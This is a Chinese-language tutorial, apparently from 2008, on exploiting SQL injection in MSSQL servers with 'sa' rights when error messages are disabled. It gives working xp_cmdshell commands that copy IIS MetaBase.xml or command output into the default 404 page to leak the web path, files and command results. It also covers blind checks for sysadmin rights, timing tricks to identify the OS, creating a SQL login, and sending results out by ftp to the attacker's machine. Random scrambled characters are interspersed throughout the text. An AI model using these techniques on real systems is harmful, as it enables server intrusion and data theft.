遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
/ G) ^0 N8 M* O! H0 B
- [3 ~! T0 [9 F* i% s 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。* H5 w7 ~ v9 z
0 I5 {5 y: U% h# q# e6 f) C$ V 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
6 ^# F: z& f/ _& S. Q' h0 E/ k! ^5 e# w! {4 ]" j1 ?3 Y
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm' F" K. @' Z1 _) Y i
& N% G% V7 O+ n& L' s" R4 c 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--; X& u. D0 i6 E5 S* D- W
) F( ?8 P$ [+ g1 B" Q8 i& W7 ]
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。' V" `! j' L* b% M! J
, e* `) p1 u0 Y5 i, `0 q G
执行命令得到回显9 i: x( j7 ]) {4 f _- \1 {( u0 u) v# u
: j ~/ j# r, d+ G
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--/ X" w( V# p7 j8 G6 K
0 S7 ]7 d' N( _. d
得到文件也shi相同,把文件copy到404b.htm就行了 n: x7 Z; y7 W, `7 z+ B; M
7 s' ?% y8 l* t7 z4 H! A Y by 28ice, 2008/6/26- w% {* e) K* v# R. w' Z+ N1 r
. A. I& Q3 `( M- T 摘自 28度的冰 v1 X7 \) Z$ o* C4 }3 v& Y* F8 V
* ^4 i# {3 V6 k3 y! h4 ^6 ~
盲注判断权限和操作系统版本( s6 Z( d9 r1 v5 n1 F
- Z8 H6 R( M) ? y0 d
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?2 t) K7 `6 V, s) b
0 G: C# C1 [; h; v( [: N 最简单的,可能以用这样的方法:
6 a& S$ U, x- C( v
4 }8 Z/ g2 n4 w6 {) c$ B' j) M 1=(select IS_SRVROLEMEMBER(’sysadmin’))# n* m- U# s |7 r- `
( x; p7 d; k6 p
当然,有些情况下,这个方法并不奏效。
q( i# M& K Q4 ]2 {' g
7 q* A% {6 ?. ?% H7 M- @ 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
( a2 Q5 L% T* V# Z ]4 t% `3 J3 b. }% w" K0 ~+ l( Y% h7 D
有个3办法可能以解决这个问题$ Z3 V& F2 ~. H" G
9 P9 z5 ~8 V8 U3 { a.把执行结果写到404b.htm,具体请看我的上一篇文章
$ F7 h8 ]8 @4 z! S) H6 M# p* ` U8 F0 D4 R5 u! |' ]
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟2 w2 q$ A- ^( c! |' ?" X
- D: l( ?' j* U c.如果1433端口可能以连接,那干脆新建个sql登录/ R1 P+ l7 O0 k8 [" @, `& Y: k
, y. y1 ^ ^; |4 w: ~, X# H d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
7 N4 d( A9 D% i2 g/ b5 f. S+ V1 C
! J3 q4 Q( |9 a1 k$ ]( K1 l# h g 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
7 ]- x5 Q. O* e O! W( c# K4 T# Y3 y; i8 ~8 u" o0 {
很简单
5 a" `3 u. g, C5 ?4 }3 E# \
H/ i8 f4 U' S8 c; N! u 执行systeminfo
' T( z) j) i5 I7 `% b! Z+ R
5 B4 y+ H7 G f: v 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |